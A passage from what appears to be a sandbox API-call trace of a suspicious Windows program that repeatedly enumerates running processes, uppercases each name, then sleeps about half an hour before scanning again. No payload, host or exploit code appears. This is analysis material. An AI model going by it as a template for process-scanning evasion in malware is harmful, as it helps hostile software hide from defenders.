(pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0140.992] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0140.992] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0140.993] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0140.993] lstrlenW (lpString="potter larry.exe") returned 16 [0140.993] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0140.993] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0140.993] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0140.993] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0140.994] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0140.994] lstrlenW (lpString="contents what certificate.exe") returned 29 [0140.994] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0140.994] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0140.994] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0140.994] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0140.994] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0140.994] lstrlenW (lpString="cindy.exe") returned 9 [0140.994] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0140.994] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0140.994] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0140.994] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0140.995] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0140.995] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0140.995] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0140.995] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0140.995] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0140.995] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0140.996] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0140.996] lstrlenW (lpString="unusual.exe") returned 11 [0140.996] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0140.996] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0140.996] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0140.996] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0140.996] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0140.996] lstrlenW (lpString="pacific.exe") returned 11 [0140.996] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0140.996] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0140.997] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0140.997] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0140.997] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0140.997] lstrlenW (lpString="phantom.exe") returned 11 [0140.997] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0140.997] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0140.997] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0140.997] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0140.998] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0140.998] lstrlenW (lpString="audiodg.exe") returned 11 [0140.998] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0140.998] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0140.998] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0140.998] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0140.999] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0140.999] lstrlenW (lpString="SCN0tification.exe") returned 18 [0140.999] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0140.999] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0140.999] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0140.999] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.000] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0141.000] lstrlenW (lpString="svchost.exe") returned 11 [0141.000] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0141.000] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0141.000] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0141.000] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0141.000] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0141.000] lstrlenW (lpString="sppsvc.exe") returned 10 [0141.000] CharUpperBuffW (in: lpsz="sppsvc.exe", cchLength=0xa | out: lpsz="SPPSVC.EXE") returned 0xa [0141.000] PathFindFileNameW (pszPath="SPPSVC.EXE") returned="SPPSVC.EXE" [0141.000] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPPSVC.EXE" | out: lpString1="SPPSVC.EXE") returned="SPPSVC.EXE" [0141.000] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0141.001] CloseHandle (hObject=0x350) returned 1 [0141.001] Sleep (dwMilliseconds=0x1b7740) [0151.022] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x670 [0151.029] Process32FirstW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.031] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0151.031] lstrlenW (lpString="[System Process]") returned 16 [0151.031] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0151.031] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0151.031] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0151.031] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0151.032] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0151.032] lstrlenW (lpString="System") returned 6 [0151.032] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0151.033] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0151.033] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0151.033] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0151.034] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0151.034] lstrlenW (lpString="smss.exe") returned 8 [0151.034] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0151.034] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0151.034] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0151.034] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0151.036] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0151.036] lstrlenW (lpString="csrss.exe") returned 9 [0151.036] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0151.036] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0151.036] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0151.036] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0151.037] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0151.037] lstrlenW (lpString="wininit.exe") returned 11 [0151.037] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0151.037] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0151.037] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0151.037] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0151.038] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0151.038] lstrlenW (lpString="csrss.exe") returned 9 [0151.038] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0151.038] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0151.038] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0151.038] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0151.039] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0151.040] lstrlenW (lpString="winlogon.exe") returned 12 [0151.040] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0151.040] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0151.040] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0151.040] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0151.041] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0151.041] lstrlenW (lpString="services.exe") returned 12 [0151.041] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0151.041] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0151.041] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0151.041] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0151.042] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0151.042] lstrlenW (lpString="lsass.exe") returned 9 [0151.042] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0151.042] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0151.042] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0151.042] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.043] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0151.043] lstrlenW (lpString="svchost.exe") returned 11 [0151.043] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0151.043] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.043] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.043] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.044] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0151.044] lstrlenW (lpString="svchost.exe") returned 11 [0151.044] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0151.044] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.044] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.044] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0151.045] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0151.045] lstrlenW (lpString="dwm.exe") returned 7 [0151.045] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0151.045] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0151.045] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0151.045] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.046] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0151.046] lstrlenW (lpString="svchost.exe") returned 11 [0151.046] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0151.046] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.046] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.046] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.047] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0151.047] lstrlenW (lpString="svchost.exe") returned 11 [0151.047] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0151.047] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.047] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.047] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.048] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0151.048] lstrlenW (lpString="svchost.exe") returned 11 [0151.048] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0151.048] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.048] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.048] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.049] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0151.049] lstrlenW (lpString="svchost.exe") returned 11 [0151.049] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0151.049] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.049] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.049] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.050] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0151.050] lstrlenW (lpString="svchost.exe") returned 11 [0151.050] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0151.050] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.050] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.050] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.051] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0151.051] lstrlenW (lpString="svchost.exe") returned 11 [0151.051] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0151.051] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.051] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.051] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0151.052] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0151.052] lstrlenW (lpString="spoolsv.exe") returned 11 [0151.052] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0151.052] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0151.052] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0151.052] Process32NextW (in: hSnapshot=0x670, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.052] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0151.052] lstrlenW (lpString="svchost.exe") returned 11 [0151.052] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0151.052] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.052] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0151.052] Process32NextW 